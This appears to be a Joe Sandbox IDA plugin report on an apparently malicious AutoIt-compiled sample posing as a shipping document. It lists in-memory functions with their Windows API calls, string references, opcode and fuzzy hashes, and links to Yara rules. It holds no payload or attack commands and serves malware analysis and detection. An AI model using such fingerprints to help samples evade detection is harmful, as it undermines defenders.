Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb
API String ID: 169749273-730855631
Opcode ID: ac17db1c39f92220f7ca7ab3f7888289647086d50cfd175c9eef68c8ac35a226
Instruction ID: 0590a05f620c65c787d9a12e93a7a5ee1bd6b4a4382c0d05a599106db22ef380
Opcode Fuzzy Hash: ac17db1c39f92220f7ca7ab3f7888289647086d50cfd175c9eef68c8ac35a226
Instruction Fuzzy Hash: 5D617072108301AFC700EF60DC85D9BBBF8EF89710F10192EF599A61A1DB31A989CB52

Function 00E5AFDF Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00E5B03E

Strings

LAST, xrefs: 00E5B003
[REGEXPTITLE:, xrefs: 00E5B066
[ALL, xrefs: 00E5B0E4
[ACTIVE, xrefs: 00E5B02B
ALL, xrefs: 00E5B0D2
[CLASS:, xrefs: 00E5B08E
[HANDLE:, xrefs: 00E5B04A
HANDLE=, xrefs: 00E5B037
[LAST, xrefs: 00E5B0EB
REGEXP=, xrefs: 00E5B053
ACTIVE, xrefs: 00E5B019
CLASSNAME=, xrefs: 00E5B07B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: c53ef670271d78f452e040f7d2c53203d3c5a8a320c93b164f4e9b37d45b77e6
Instruction ID: 51217c8e6a43a27fd6f4899b553c1aad498ede8c2f37f9f6f07dd1a03501d54d
Opcode Fuzzy Hash: c53ef670271d78f452e040f7d2c53203d3c5a8a320c93b164f4e9b37d45b77e6
Instruction Fuzzy Hash: CC319231A48309E6DB24FA60DD53EEF77E49F24711F202829F895714D2EF616F48CA51

Function 00E5C2C0 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00E5C2D3
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00E5C2E5
SetWindowTextW.USER32(?,?), ref: 00E5C2FC
GetDlgItem.USER32(?,000003EA), ref: 00E5C311
SetWindowTextW.USER32(00000000,?), ref: 00E5C317
GetDlgItem.USER32(?,000003E9), ref: 00E5C327
SetWindowTextW.USER32(00000000,?), ref: 00E5C32D
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00E5C34E
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00E5C368
GetWindowRect.USER32(?,?), ref: 00E5C371
SetWindowTextW.USER32(?,?), ref: 00E5C3DC
GetDesktopWindow.USER32 ref: 00E5C3E2
GetWindowRect.USER32(00000000), ref: 00E5C3E9
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00E5C435
GetClientRect.USER32(?,?), ref: 00E5C442
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00E5C467
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00E5C492

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: e9ffaf5d82a279e7ebe20f7d6b3d0047fa6e84c31af063f2f971216885973b08
Instruction ID: 11c023932d5cd7d8fe19aeb3e09d4a630ae75786f86db480d27d68f70cf9dc7d
Opcode Fuzzy Hash: e9ffaf5d82a279e7ebe20f7d6b3d0047fa6e84c31af063f2f971216885973b08
Instruction Fuzzy Hash: FE519F30900709EFDB20DFA9DD85B6EBBF5FF04709F104A28EA46B25A0D770A958DB50

Function 00E75113 Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00E75129
LoadCursorW.USER32(00000000,00007F00), ref: 00E75134
LoadCursorW.USER32(00000000,00007F03), ref: 00E7513F
LoadCursorW.USER32(00000000,00007F8B), ref: 00E7514A
LoadCursorW.USER32(00000000,00007F01), ref: 00E75155
LoadCursorW.USER32(00000000,00007F81), ref: 00E75160
LoadCursorW.USER32(00000000,00007F88), ref: 00E7516B
LoadCursorW.USER32(00000000,00007F80), ref: 00E75176
LoadCursorW.USER32(00000000,00007F86), ref: 00E75181
LoadCursorW.USER32(00000000,00007F83), ref: 00E7518C
LoadCursorW.USER32(00000000,00007F85), ref: 00E75197
LoadCursorW.USER32(00000000,00007F82), ref: 00E751A2
LoadCursorW.USER32(00000000,00007F84), ref: 00E751AD
LoadCursorW.USER32(00000000,00007F04), ref: 00E751B8
LoadCursorW.USER32(00000000,00007F02), ref: 00E751C3
LoadCursorW.USER32(00000000,00007F89), ref: 00E751CE
GetCursorInfo.USER32(?), ref: 00E751DE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 1c488541b5a545db8e16fdd4a35b6bc473506704bf17832ab9b0d52a558f6ae6
Instruction ID: e60c2686e01de238d8ca0f7b0be488080e4350292da6f6d9e4871f4b71725320
Opcode Fuzzy Hash: 1c488541b5a545db8e16fdd4a35b6bc473506704bf17832ab9b0d52a558f6ae6
Instruction Fuzzy Hash: 253117B1D4831D6ADB109FB69C8995FBEF8FF04750F50452AE50DF7281DA7865008F91

Function 00E8A1EB Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8A28B
DestroyWindow.USER32(?,?), ref: 00E8A305

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00E8A37F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00E8A3A1
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E8A3B4
DestroyWindow.USER32(00000000), ref: 00E8A3D6
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00E00000,00000000), ref: 00E8A40D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E8A426
GetDesktopWindow.USER32 ref: 00E8A43F
GetWindowRect.USER32(00000000), ref: 00E8A446
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E8A45E
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00E8A476

Part of subcall function 00E025DB: GetWindowLongW.USER32(?,000000EB), ref: 00E025EC

Strings

0, xrefs: 00E8A2A1
tooltips_class32, xrefs: 00E8A378, 00E8A406

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 3825d3633978b697ff376fb40a936c147d709e5eb6eb46a7817f232ee8421452
Instruction ID: 1c000f99aa62a77169b78b1ce5ca33b9168f0ed9e4885f8eec4d10e1c6daaaac
Opcode Fuzzy Hash: 3825d3633978b697ff376fb40a936c147d709e5eb6eb46a7817f232ee8421452
Instruction Fuzzy Hash: 3971BF71150244AFEB24DF28CC49F6A77E5FB88704F08052DF999A72A0DB71E946CF52

Function 00E8B832 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00E8B8E8
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00E86B43,?), ref: 00E8B944
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E8B97D
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00E8B9C0
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E8B9F7
FreeLibrary.KERNEL32(?), ref: 00E8BA03
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E8BA13
DestroyIcon.USER32(?), ref: 00E8BA22
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00E8BA3F
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00E8BA4B

Part of subcall function 00E2307D: __wcsicmp_l.LIBCMT ref: 00E23106

Strings

Ck, xrefs: 00E8B83B, 00E8BA51, 00E8B8FB, 00E8B9D2, 00E8B959
.exe, xrefs: 00E8B87E
.dll, xrefs: 00E8B8A1
.icl, xrefs: 00E8B85E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl$Ck
API String ID: 1212759294-4079180798
Opcode ID: b50c3e9a281dfc4155b5e1f6e5ab2070e1080cef649473b4f20fe2f357b21a12
Instruction ID: 669e43d55127a578e2fc1bf428dcac035c8111e552effa3b34da2197b4fcbc7f
Opcode Fuzzy Hash: b50c3e9a281dfc4155b5e1f6e5ab2070e1080cef649473b4f20fe2f357b21a12
Instruction Fuzzy Hash: B161FF71900619BEEB18EF64CC81FBE77A8EB08710F10551AF91DF61D1DB74AA84CBA0

Function 00E843FB Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00E8448D
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E844D8

Strings

CHECK, xrefs: 00E844F8
ISCHECKED, xrefs: 00E8465B
UNCHECK, xrefs: 00E846B4
EXPAND, xrefs: 00E8458A
GETTOTALCOUNT, xrefs: 00E844BF
GETITEMCOUNT, xrefs: 00E845BA
GETSELECTED, xrefs: 00E845E8
SELECT, xrefs: 00E84689
EXISTS, xrefs: 00E84541
GETTEXT, xrefs: 00E8462B
COLLAPSE, xrefs: 00E8451E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: e5812ceee4a86463b0da6fb4bdc27b2120a71a0a5e984afab1ad944832ee09c8
Instruction ID: 0d30ce238a7fee6887ba92566b605fa73bef549305a5073aa42abb0c05f4376e
Opcode Fuzzy Hash: e5812ceee4a86463b0da6fb4bdc27b2120a71a0a5e984afab1ad944832ee09c8
Instruction Fuzzy Hash: 40915BB02047129BCB14EF14C491AAAB7E1EF95314F14685DE89A7B3E3DB31ED49CB81

Function 00E6A3DC Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

CharLowerBuffW.USER32(?,?), ref: 00E6A455
GetDriveTypeW.KERNEL32 ref: 00E6A4A2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6A4EA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6A521
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E6A54F

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Strings

closed, xrefs: 00E6A469, 00E6A472
close, xrefs: 00E6A45B
open , xrefs: 00E6A4B1
open, xrefs: 00E6A47C
wait, xrefs: 00E6A50C
close cd wait, xrefs: 00E6A53A
type cdaudio alias cd wait, xrefs: 00E6A4CD
set cd door , xrefs: 00E6A4F0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 38d306033ea6b5b5978ba462fcd33aefa37cffc334128b7b5ca12172366d1fca
Instruction ID: 143a2af0b0b66ef265dfcec386a4e88693bcb9490d7ef4876fb274457aca110b
Opcode Fuzzy Hash: 38d306033ea6b5b5978ba462fcd33aefa37cffc334128b7b5ca12172366d1fca
Instruction Fuzzy Hash: 5F516C715043059FC700EF20D99186AB7E8EF98718F04596DF89A772A2DB31EE4ACB52

Function 00E3AA4B Relevance: 22.7, APIs: 15, Instructions: 211COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 00E3AAAB
___wtomb_environ.LIBCMT ref: 00E3AACD

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

__malloc_crt.LIBCMT ref: 00E3AAF5
__malloc_crt.LIBCMT ref: 00E3AB12
_free.LIBCMT ref: 00E3AB49
__recalloc_crt.LIBCMT ref: 00E3AB82
__recalloc_crt.LIBCMT ref: 00E3ABC7
_strlen.LIBCMT ref: 00E3ABF3
__calloc_crt.LIBCMT ref: 00E3ABFD
_strlen.LIBCMT ref: 00E3AC0C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 00E3AC3A
_free.LIBCMT ref: 00E3AC54
_free.LIBCMT ref: 00E3AC61
_free.LIBCMT ref: 00E3AC73
__invoke_watson.LIBCMT ref: 00E3AC8D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: e7378f7aa6d3be7049a64bce67a08ddc710596cba431fb6efe6c507441f71310
Instruction ID: de1a6fd02d62ea9993cb1340370ceccd83e80e5b7ec173097bde900b5a2323f5
Opcode Fuzzy Hash: e7378f7aa6d3be7049a64bce67a08ddc710596cba431fb6efe6c507441f71310
Instruction Fuzzy Hash: 48611672501211AFD7205F34DD09B6ABBE8EF40328F187139E881BB191DB39DD81C792

Function 00E6D925 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00E6DA9C
_wcscat.LIBCMT ref: 00E6DAB4
_wcscat.LIBCMT ref: 00E6DAC6
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E6DADB
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6DAEF
GetFileAttributesW.KERNEL32(?), ref: 00E6DB07
SetFileAttributesW.KERNEL32(?,00000000), ref: 00E6DB21
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6DB33

Strings

*.*, xrefs: 00E6DB72

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 767e20b05ee46c3e38e1346fc17d376cb67365b413a8450ba4ce89b821e0e93e
Instruction ID: c09178d2c00dcc8c3f99a55754b878a8cc8a5fc0bad92b8d124bfbcc82757e7f
Opcode Fuzzy Hash: 767e20b05ee46c3e38e1346fc17d376cb67365b413a8450ba4ce89b821e0e93e
Instruction Fuzzy Hash: E2819372B4C2409FCB24EF64DC449AAB7E4BB88394F586C2EF489E7251D670D944CB92

Function 00E8C216 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E8C266
GetFocus.USER32 ref: 00E8C276
GetDlgCtrlID.USER32(00000000), ref: 00E8C281
_memset.LIBCMT ref: 00E8C3AC
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00E8C3D7
GetMenuItemCount.USER32(?), ref: 00E8C3F7
GetMenuItemID.USER32(?,00000000), ref: 00E8C40A
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00E8C43E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00E8C486
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E8C4BE
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00E8C4F3

Strings

0, xrefs: 00E8C3A4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 813492b30bd122374ac80a061f539378fd6a98276a06c5ddbbf062ae3d8a650b
Instruction ID: 6e4e52afeea772982703ab2208eca86c0748fe0cbc850fd1a136f18348bb3575
Opcode Fuzzy Hash: 813492b30bd122374ac80a061f539378fd6a98276a06c5ddbbf062ae3d8a650b
Instruction Fuzzy Hash: 66818F712083019FD710EF15D894A6B7BE4EF89318F20552DF9ADB7291C771D885CBA2

Function 00E7742F Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00E774A4
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00E774B0
CreateCompatibleDC.GDI32(?), ref: 00E774BC
SelectObject.GDI32(00000000,?), ref: 00E774C9
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00E7751D
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00E77559
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00E7757D
SelectObject.GDI32(00000006,?), ref: 00E77585
DeleteObject.GDI32(?), ref: 00E7758E
DeleteDC.GDI32(00000006), ref: 00E77595
ReleaseDC.USER32(00000000,?), ref: 00E775A0

Strings

(, xrefs: 00E77525

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: a940f13eedff274a69ea6d2de2388b535c558208bd4f8d7ca533d7f6aa69aee4
Instruction ID: dc532848b3a13fcb0ac25ebf0433caa218efdeb0e8ae5d4d3e6bda092f91e94e
Opcode Fuzzy Hash: a940f13eedff274a69ea6d2de2388b535c558208bd4f8d7ca533d7f6aa69aee4
Instruction Fuzzy Hash: 92515C71904309EFCB15CFA9DC85EAEBBB9EF48310F14842DF999A7251D731A944CB50

Function 00E06BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00E20AD7: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00E06C6C,?,00008000), ref: 00E20AF3

Part of subcall function 00E048AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E048A1,?,?,00E037C0,?), ref: 00E048CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00E06D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00E06E5A

Part of subcall function 00E059CD: _wcscpy.LIBCMT ref: 00E05A05

Part of subcall function 00E237BD: _iswctype.LIBCMT ref: 00E237C5

Strings

EA06, xrefs: 00E3E7AB
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00E3E77A
Unterminated string, xrefs: 00E3EB3D
Error opening the file, xrefs: 00E3E796, 00E3E811
AU3!, xrefs: 00E06CC1
Bad directive syntax error, xrefs: 00E3EAF6
>>>AUTOIT SCRIPT<<<, xrefs: 00E3E7EF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 96cdefb1d114cbe21afe77b8e96aa980b791c0cc228ac097eafc0a53a3fe7089
Instruction ID: b2e4ff486c45843115fe9a7f94a691a9e36d39ba21a100bda3beefc7fa2264de
Opcode Fuzzy Hash: 96cdefb1d114cbe21afe77b8e96aa980b791c0cc228ac097eafc0a53a3fe7089
Instruction Fuzzy Hash: C0027E715083419FC724EF24C881AAFBBE5AF98354F04691DF495B72A1DB30EA89CB52

Function 00E045DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E045F9
GetMenuItemCount.USER32(00EC5890), ref: 00E3D6FD
GetMenuItemCount.USER32(00EC5890), ref: 00E3D7AD
GetCursorPos.USER32(?), ref: 00E3D7F1
SetForegroundWindow.USER32(00000000), ref: 00E3D7FA
TrackPopupMenuEx.USER32(00EC5890,00000000,?,00000000,00000000,00000000), ref: 00E3D80D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00E3D819

Memory Dump Source

